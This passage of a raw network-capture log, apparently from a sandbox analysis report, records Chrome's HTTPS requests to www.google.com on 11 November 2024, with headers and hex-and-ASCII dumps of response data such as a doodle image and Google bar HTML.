wSTlVN1RWSzM0ZFdqMnl3SmxJWmpBWlc4dVk4bTdMMHEyY2V2YnZieEQ1TndCdUcrMGJJZmVCMDViZDdzb1hOY29zVDlNWDZ0UjAyMldBeTJsbnF6YlJVc2o5OW9PeWVCbFltYmI5d1JYMjJ1bGhmMDBqOVpDUVpUbnRCMDErcGZ6WDFuTDJYaTcxM0hta1JXTjQ5TE5CNXRTaEp1Vm5Jd1BEbjFQM1JuRWpZYkovVllZOHNJTmhyc2QxMDNkUG
2024-11-11 11:40:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49717	142.250.185.100	443	2940	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 11:40:11 UTC	353	OUT	GET /async/ddljson?async=ntp:2 HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-11 11:40:11 UTC	1042	IN	HTTP/1.1 200 OK Version: 693618659 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Mon, 11 Nov 2024 11:40:11 GMT Server: gws Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-11 11:40:11 UTC	336	IN	Data Raw: 31 30 32 32 0d 0a 29 5d 7d 27 0a 7b 22 64 64 6c 6a 73 6f 6e 22 3a 7b 22 61 63 63 65 73 73 69 62 69 6c 69 74 79 5f 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 22 2c 22 61 6c 74 5f 74 65 78 74 22 3a 22 56 65 74 65 72 61 6e 73 20 44 61 79 20 32 30 32 34 22 2c 22 64 61 72 6b 5f 64 61 74 61 5f 75 72 69 22 3a 22 64 61 74 61 3a 69 6d 61 67 65 2f 70 6e 67 3b 62 61 73 65 36 34 2c 69 56 42 4f 52 77 30 4b 47 67 6f 41 41 41 41 4e 53 55 68 45 55 67 41 41 41 66 51 41 41 41 44 49 43 41 4d 41 41 41 41 70 78 2b 50 61 41 41 41 43 2f 56 42 4d 56 45 56 48 63 45 7a 68 31 74 4b 54 73 63 72 56 31 64 62 43 79 39 57 77 77 63 37 4f 30 64 50 4c 44 68 6d 30 77 38 2f 41 79 74 4f 57 73 73 75 58 72 63 4b 6a 76 74 47 56 73 73 75 6e 76 73 37 58 30 73 2f 59 7a 63 47 55 73 4d 61 54 6f 37 48 Data Ascii: 1022)]}'{"ddljson":{"accessibility_description":"","alt_text":"Veterans Day 2024","dark_data_uri":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAfQAAADICAMAAAApx+PaAAAC/VBMVEVHcEzh1tKTscrV1dbCy9Wwwc7O0dPLDhm0w8/AytOWssuXrcKjvtGVssunvs7X0s/YzcGUsMaTo7H
2024-11-11 11:40:11 UTC	1378	IN	Data Raw: 77 4d 75 7a 77 38 39 61 64 48 39 7a 68 70 44 4f 77 72 52 78 62 33 64 33 6b 36 78 2f 6e 62 70 62 65 49 68 51 62 49 47 6a 54 54 6e 58 36 66 6d 59 73 38 78 6f 69 71 6d 58 73 38 74 72 69 71 6e 51 75 37 48 59 7a 72 2f 5a 31 38 37 59 79 37 76 56 31 63 33 58 78 62 61 62 74 4d 79 6a 75 73 37 58 79 62 68 5a 63 33 33 5a 31 73 6e 59 79 37 37 53 76 72 54 55 77 72 62 4c 30 74 53 31 78 64 4c 61 7a 73 54 56 31 74 50 56 32 64 71 34 78 39 50 49 7a 73 33 59 32 4e 4c 43 7a 4e 43 75 77 64 48 47 7a 39 54 57 76 71 36 38 79 64 50 51 31 4e 4b 39 79 63 36 79 77 39 47 36 78 4d 76 50 31 74 6e 54 77 4c 47 77 75 38 4f 35 77 63 61 31 77 38 7a 45 77 4c 72 50 30 73 7a 4b 76 37 61 38 76 62 75 71 76 74 44 59 77 72 4c 43 79 73 75 34 78 73 2f 53 75 71 37 41 7a 64 57 74 76 73 75 32 75 72 2b Data Ascii: wMuzw89adH9zhpDOwrRxb3d3k6x/nbpbeIhQbIGjTTnX6fmYs8xoiqmXs8triqnQu7HYzr/Z187Yy7vV1c3XxbabtMyjus7XybhZc33Z1snYy77SvrTUwrbL0tS1xdLazsTV1tPV2dq4x9PIzs3Y2NLCzNCuwdHGz9TWvq68ydPQ1NK9yc6yw9G6xMvP1tnTwLGwu8O5wca1w8zEwLrP0szKv7a8vbuqvtDYwrLCysu4xs/Suq7AzdWtvsu2ur+
2024-11-11 11:40:11 UTC	1378	IN	Data Raw: 33 4c 73 45 33 54 31 4c 70 64 64 44 6b 49 72 55 36 4f 30 37 65 65 43 50 6d 70 75 59 38 2f 43 49 43 66 39 61 6b 76 2f 68 73 5a 71 49 2f 38 54 7a 45 2b 50 44 4b 35 75 4c 41 4d 65 4b 32 75 59 52 69 6d 62 5a 73 57 63 71 59 30 6a 64 59 73 54 61 4e 61 57 72 66 56 61 6c 45 65 58 2f 53 33 64 30 50 55 67 67 38 63 33 38 2b 39 2f 78 37 79 5a 39 33 39 36 46 37 38 73 75 30 48 36 50 49 50 4c 4f 74 6a 49 35 4f 7a 43 31 4f 6d 53 64 47 32 4b 4e 41 43 4c 43 59 79 68 7a 51 58 4e 4e 4f 30 61 4a 4e 79 33 51 32 43 74 63 66 59 48 6e 61 50 75 6c 76 70 31 2f 72 4f 37 4b 50 39 58 5a 57 67 70 71 37 49 43 32 31 66 75 79 44 4c 63 73 4d 5a 2b 67 47 38 35 39 62 47 67 61 70 70 30 70 54 49 69 36 4c 41 52 77 53 41 62 67 75 69 62 56 43 6d 59 55 4b 38 76 32 31 52 4c 55 39 41 33 67 50 65 47 Data Ascii: 3LsE3T1LpddDkIrU6O07eeCPmpuY8/CICf9akv/hsZqI/8TzE+PDK5uLAMeK2uYRimbZsWcqY0jdYsTaNaWrfValEeX/S3d0PUgg8c38+9/x7yZ9396F78su0H6PIPLOtjI5OzC1OmSdG2KNACLCYyhzQXNNO0aJNy3Q2CtcfYHnaPulvp1/rO7KP9XZWgpq7IC21fuyDLcsMZ+gG859bGgapp0pTIi6LARwSAbguibVCmYUK8v21RLU9A3gPeG
2024-11-11 11:40:11 UTC	1046	IN	Data Raw: 7a 43 34 73 30 78 35 76 47 6a 55 31 4e 41 6a 51 32 2b 31 50 59 76 69 6f 52 59 5a 46 33 37 30 38 67 6d 78 58 69 30 48 46 69 52 32 70 6b 4f 2b 4b 37 4c 6a 51 58 62 38 54 30 41 4b 63 74 41 44 52 6a 67 39 59 38 4b 74 67 6f 77 6b 49 62 2f 68 67 4f 57 69 31 69 4f 75 39 2b 5a 78 63 55 62 33 41 65 33 55 62 34 33 31 30 37 4f 37 43 45 73 73 54 35 67 51 34 4c 41 4d 53 37 6d 4f 66 58 66 72 61 65 55 65 57 6e 59 72 69 36 48 49 30 42 66 58 63 69 63 52 55 4a 64 70 75 4a 78 78 46 62 35 79 45 67 43 68 43 78 77 6b 64 32 7a 66 63 67 69 50 66 54 54 51 34 5a 37 75 4f 5a 31 68 6b 62 52 4c 6d 4e 6c 79 75 6f 53 4e 6f 2f 49 44 49 35 64 30 4b 54 7a 36 33 73 5a 45 62 75 37 75 34 74 4d 77 77 74 6b 63 63 68 50 55 4c 77 33 30 77 72 48 34 5a 39 35 33 74 37 37 54 33 54 32 6c 52 6c 32 55 Data Ascii: zC4s0x5vGjU1NAjQ2+1PYvioRYZF3708gmxXi0HFiR2pkO+K7LjQXb8T0AKctADRjg9Y8KtgowkIb/hgOWi1iOu9+ZxcUb3Ae3Ub43107O7CEssT5gQ4LAMS7mOfXfraeUeWnYri6HI0BfXcicRUJdpuJxxFb5yEgChCxwkd2zfcgiPfTTQ4Z7uOZ1hkbRLmNlyuoSNo/IDI5d0KTz63sZEbu7u4tMwwtkcchPULw30wrH4Z953t77T3T2lRl2U
2024-11-11 11:40:11 UTC	168	IN	Data Raw: 61 32 0d 0a 4f 63 36 43 79 66 31 67 64 5a 34 46 6f 2f 50 6f 63 69 4b 65 70 44 73 37 4f 52 6a 49 52 2b 5a 35 32 68 43 4e 57 4c 71 59 54 68 38 63 78 66 4c 35 32 4e 48 4f 66 69 46 52 55 51 6e 78 42 68 78 4b 57 59 63 41 53 4a 7a 2b 2b 61 44 38 67 4d 75 6e 56 4a 6a 6c 62 57 7a 6f 42 45 5a 4b 37 70 61 71 70 56 77 70 56 54 71 76 56 75 75 48 6d 55 79 71 58 6a 2f 66 53 72 37 63 43 6b 6a 6f 44 51 31 46 61 56 32 72 61 57 6e 6f 64 71 4a 65 37 6c 34 37 66 33 30 2f 38 34 47 69 44 68 2b 52 73 79 48 77 4e 54 0d 0a Data Ascii: a2Oc6Cyf1gdZ4Fo/PociKepDs7ORjIR+Z52hCNWLqYTh8cxfL52NHOfiFRUQnxBhxKWYcASJz++aD8gMunVJjlbWzoBEZK7paqpVwpVTqvVuuHmUyqXj/fSr7cCkjoDQ1FaV2raWnodqJe7l47f30/84GiDh+RsyHwNT
2024-11-11 11:40:11 UTC	1378	IN	Data Raw: 35 34 39 30 0d 0a 4b 50 52 73 48 6f 44 42 4d 43 37 50 79 56 30 33 6b 41 44 67 65 39 4d 42 44 49 50 31 37 6b 4f 63 6b 77 44 45 45 67 69 63 30 49 6f 59 32 73 38 79 53 72 77 38 43 6d 51 4c 61 37 52 56 35 58 48 50 6d 62 6a 55 54 38 49 4c 72 2b 71 4a 6c 76 6c 75 55 54 78 78 52 34 37 6d 46 2b 35 79 68 54 53 79 62 50 6b 2b 65 64 36 6e 6d 6d 56 44 39 2f 58 54 2b 76 6c 70 4b 50 66 31 39 34 2f 4a 55 41 30 4c 73 61 31 65 31 53 6d 6d 5a 31 6b 62 6d 47 62 72 38 70 62 36 4c 7a 78 76 6a 4a 44 39 47 33 7a 55 31 52 46 47 2b 44 73 66 32 4d 33 78 38 49 42 4b 4a 2b 66 34 6a 31 2b 31 6d 62 76 34 5a 4f 32 36 6a 6c 73 55 48 59 6c 5a 6b 31 44 4f 6d 35 5a 47 7a 61 68 69 55 39 44 30 66 45 58 54 48 37 7a 58 65 79 72 69 68 6c 76 75 7a 6f 4b 49 52 2b 49 75 50 34 6c 76 33 37 74 77 2f Data Ascii: 5490KPRsHoDBMC7PyV03kADge9MBDIP17kOckwDEEgic0IoY2s8ySrw8CmQLa7RV5XHPmbjUT8ILr+qJlvluUTxxR47mF+5yhTSybPk+ed6nmmVD9/XT+vlpKPf194/JUA0Lsa1e1SmmZ1kbmGbr8pb6LzxvjJD9G3zU1RFG+Dsf2M3x8IBKJ+f4j1+1mbv4ZO26jlsUHYlZk1DOm5ZGzahiU9D0fEXTH7zXeyrihlvuzoKIR+IuP4lv37tw/
2024-11-11 11:40:11 UTC	1378	IN	Data Raw: 7a 55 33 4b 38 65 31 2f 2b 53 37 48 54 32 61 76 56 53 70 6c 34 71 4a 45 74 37 6b 50 69 30 53 59 47 74 4e 7a 48 4f 6b 54 67 59 48 41 34 4c 6c 75 59 57 6e 42 6f 49 34 58 72 39 76 4e 66 61 39 62 78 4e 36 54 31 75 58 35 73 64 47 66 71 52 41 6e 30 43 74 39 4e 35 69 72 70 36 74 63 4e 30 67 5a 73 30 54 61 77 4d 77 4b 4e 2b 4a 68 44 41 63 49 66 56 7a 7a 43 52 45 44 44 33 73 7a 77 32 37 5a 44 75 45 50 77 4c 2f 57 37 7a 50 34 52 46 4c 76 78 55 41 74 43 47 42 63 67 46 63 52 4d 57 69 54 65 4b 50 74 2f 4f 6a 67 39 32 5a 49 30 4b 4e 50 42 2b 46 72 32 4f 75 55 34 71 4f 36 4c 58 52 54 46 2f 46 4e 76 66 4f 63 76 6c 30 76 6c 55 34 72 68 30 2f 75 71 76 6d 59 75 4c 38 30 35 6d 37 7a 78 54 4b 42 58 53 68 57 51 61 71 37 6c 31 42 62 72 37 4e 66 67 62 57 47 39 5a 31 74 62 58 65 Data Ascii: zU3K8e1/+S7HT2avVSpl4qJEt7kPi0SYGtNzHOkTgYHA4LluYWnBoI4Xr9vNfa9bxN6T1uX5sdGfqRAn0Ct9N5irp6tcN0gZs0TawMwKN+JhDAcIfVzzCREDD3szw27ZDuEPwL/W7zP4RFLvxUAtCGBcgFcRMWiTeKPt/Ojg92ZI0KNPB+Fr2OuU4qO6LXRTF/FNvfOcvl0vlU4rh0/uqvmYuL805m7zxTKBXShWQaq7l1Bbr7NfgbWG9Z1tbXe
2024-11-11 11:40:12 UTC	1378	IN	Data Raw: 6a 56 48 63 76 61 33 61 38 53 71 67 56 36 4a 52 76 65 74 43 4b 30 32 6c 2b 43 33 52 54 74 2b 2b 51 79 58 63 41 42 63 69 6a 79 66 45 32 62 53 47 73 76 67 62 6c 48 59 41 6a 75 50 44 41 48 4c 61 55 67 33 55 43 49 59 36 46 72 55 73 6e 4b 35 4c 69 77 54 73 6a 45 55 4e 52 41 70 50 6a 6d 67 37 64 73 6b 52 6e 52 4a 6f 2b 34 41 63 67 58 76 4a 4a 2b 70 57 33 44 57 44 6f 73 73 4c 4c 72 70 76 51 64 58 44 37 43 4b 48 42 55 56 41 64 36 61 59 4a 73 66 35 75 57 41 51 7a 44 6b 4a 30 45 57 63 67 6b 71 31 76 43 43 41 2b 2f 44 68 47 6d 50 2b 38 58 68 43 50 2f 64 6c 31 55 6d 46 6f 50 55 35 79 35 69 44 75 38 64 53 79 52 43 32 72 37 50 6b 42 75 5a 76 77 33 4c 44 75 39 58 42 34 48 30 62 6a 56 70 54 61 4d 69 48 42 77 6c 76 45 49 6d 55 6c 57 36 32 31 51 5a 75 72 39 50 75 64 47 71 Data Ascii: jVHcva3a8SqgV6JRvetCK02l+C3RTt++QyXcABcijyfE2bSGsvgblHYAjuPDAHLaUg3UCIY6FrUsnK5LiwTsjEUNRApPjmg7dskRnRJo+4AcgXvJJ+pW3DWDossLLrpvQdXD7CKHBUVAd6aYJsf5uWAQzDkJ0EWcgkq1vCCA+/DhGmP+8XhCP/dl1UmFoPU5y5iDu8dSyRC2r7PkBuZvw3LDu9XB4H0bjVpTaMiHBwlvEImUlW621QZur9PudGq
2024-11-11 11:40:12 UTC	1378	IN	Data Raw: 74 72 50 73 71 30 38 6c 6e 7a 56 63 4a 73 70 6e 50 46 33 4e 37 7a 39 76 7a 57 32 72 50 4e 2f 62 55 66 6e 32 2b 2b 57 2b 57 4d 6a 65 78 41 6e 68 77 77 4a 54 4e 37 70 77 74 78 52 37 42 78 4c 41 33 68 63 62 44 36 6e 59 51 2b 52 49 34 72 47 54 73 4b 4f 4e 70 6f 44 61 33 44 33 38 4d 43 4d 45 69 61 7a 6c 73 78 56 78 52 6a 68 75 55 67 6d 4a 4d 7a 33 43 4a 45 58 62 4a 4c 55 37 59 39 4e 59 70 53 48 63 6d 38 35 41 39 57 38 61 2b 45 7a 76 30 69 4d 43 4d 34 4f 79 4a 49 6f 71 4b 49 58 45 54 69 56 46 55 42 38 53 43 70 6e 45 45 6e 37 4b 49 69 6b 68 57 41 75 6b 72 42 4d 6a 72 75 57 47 61 68 41 63 2f 6c 76 78 37 48 56 71 32 36 73 4c 43 51 58 4b 6a 58 46 30 4a 47 43 50 67 64 7a 55 47 53 31 48 57 79 4d 56 30 48 63 6b 55 49 77 38 31 61 65 45 2b 39 42 36 56 76 6f 32 6c 44 4e Data Ascii: trPsq08lnzVcJspnPF3N7z9vzW2rPN/bUfn2++W+WMjexAnhwwJTN7pwtxR7BxLA3hcbD6nYQ+RI4rGTsKONpoDa3D38MCMEiazlsxVxRjhuUgmJMz3CJEXbJLU7Y9NYpSHcm85A9W8a+Ezv0iMCM4OyJIoqKIXETiVFUB8SCpnEEn7KIikhWAukrBMjruWGahAc/lvx7HVq26sLCQXKjXF0JGCPgdzUGS1HWyMV0HckUIw81aeE+9B6Vvo2lDN
2024-11-11 11:40:12 UTC	1378	IN	Data Raw: 79 44 70 36 74 47 4b 32 65 43 53 70 4f 65 65 6f 44 65 72 34 44 34 2b 61 67 38 72 4b 63 71 32 56 2f 34 39 33 2b 37 6b 49 4d 51 64 31 32 6a 45 4c 76 5a 66 4e 6e 66 4a 4f 32 56 6c 61 76 56 39 62 62 57 64 52 73 38 64 6a 4c 72 79 43 6e 30 6d 6e 5a 77 43 39 65 39 51 64 74 75 6b 49 76 4f 4a 4d 42 77 58 68 70 6f 4e 6c 38 37 36 4f 37 49 30 4d 48 75 50 56 43 42 70 70 51 69 52 70 53 4f 4f 47 51 54 49 76 32 59 59 42 37 71 78 30 50 79 76 64 52 73 78 6e 77 54 78 5a 4c 64 58 42 50 4a 57 61 73 78 79 59 50 50 6b 32 68 51 33 4d 61 4e 31 38 48 49 56 4a 33 6e 36 47 66 4a 6f 68 44 34 71 63 4b 45 4c 6d 78 46 79 4e 49 4e 45 42 4f 74 43 72 31 34 6b 35 76 6e 54 6b 6b 31 2b 50 57 30 59 2f 39 77 2b 51 41 47 72 32 4b 75 6f 34 36 4e 79 32 71 34 36 47 41 67 58 4b 48 73 6b 6f 43 4f 53 Data Ascii: yDp6tGK2eCSpOeeoDer4D4+ag8rKcq2V/493+7kIMQd12jELvZfNnfJO2VlavV9bbWdRs8djLryCn0mnZwC9e9QdtukIvOJMBwXhpoNl876O7I0MHuPVCBppQiRpSOOGQTIv2YYB7qx0PyvdRsxnwTxZLdXBPJWasxyYPPk2hQ3MaN18HIVJ3n6GfJohD4qcKELmxFyNINEBOtCr14k5vnTkk1+PW0Y/9w+QAGr2Kuo46Ny2q46GAgXKHskoCOS

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49718	142.250.185.100	443	2940	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 11:40:11 UTC	498	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc= Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-11 11:40:12 UTC	1042	IN	HTTP/1.1 200 OK Version: 693618659 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Mon, 11 Nov 2024 11:40:11 GMT Server: gws Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-11 11:40:12 UTC	336	IN	Data Raw: 32 36 33 63 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 32 64 20 67 62 5f 51 65 20 67 62 5f 71 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 263c)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-11-11 11:40:12 UTC	1378	IN	Data Raw: 20 67 62 5f 6f 64 20 67 62 5f 46 64 20 67 62 5f 6c 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 72 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 Data Ascii: gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u00
2024-11-11 11:40:12 UTC	1378	IN	Data Raw: 30 33 63 5c 2f 61 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 75 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 61 64 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c Data Ascii: 03c\/a\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_wd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_ud\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003cdiv class\u003d\"gb_ad\"\u003e \u003c\/div\u003e\u003c\
2024-11-11 11:40:12 UTC	1378	IN	Data Raw: 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 73 76 67 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 Data Ascii: role\u003d\"button\" tabindex\u003d\"0\"\u003e \u003csvg class\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l22
2024-11-11 11:40:12 UTC	1378	IN	Data Raw: 32 2c 32 7a 4d 36 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 32 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 Data Ascii: 2,2zM6,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM12,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1
2024-11-11 11:40:12 UTC	1378	IN	Data Raw: 66 74 5f 70 72 6f 64 75 63 74 5f 63 6f 6e 74 72 6f 6c 2d 6c 61 62 65 6c 31 22 2c 22 6c 65 66 74 5f 70 72 6f 64 75 63 74 5f 63 6f 6e 74 72 6f 6c 2d 6c 61 62 65 6c 32 22 5d 2c 22 6d 65 6e 75 5f 70 6c 61 63 65 68 6f 6c 64 65 72 5f 6c 61 62 65 6c 22 3a 22 6d 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 32 38 31 2c 33 37 30 30 39 34 39 2c 33 37 30 31 33 38 34 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 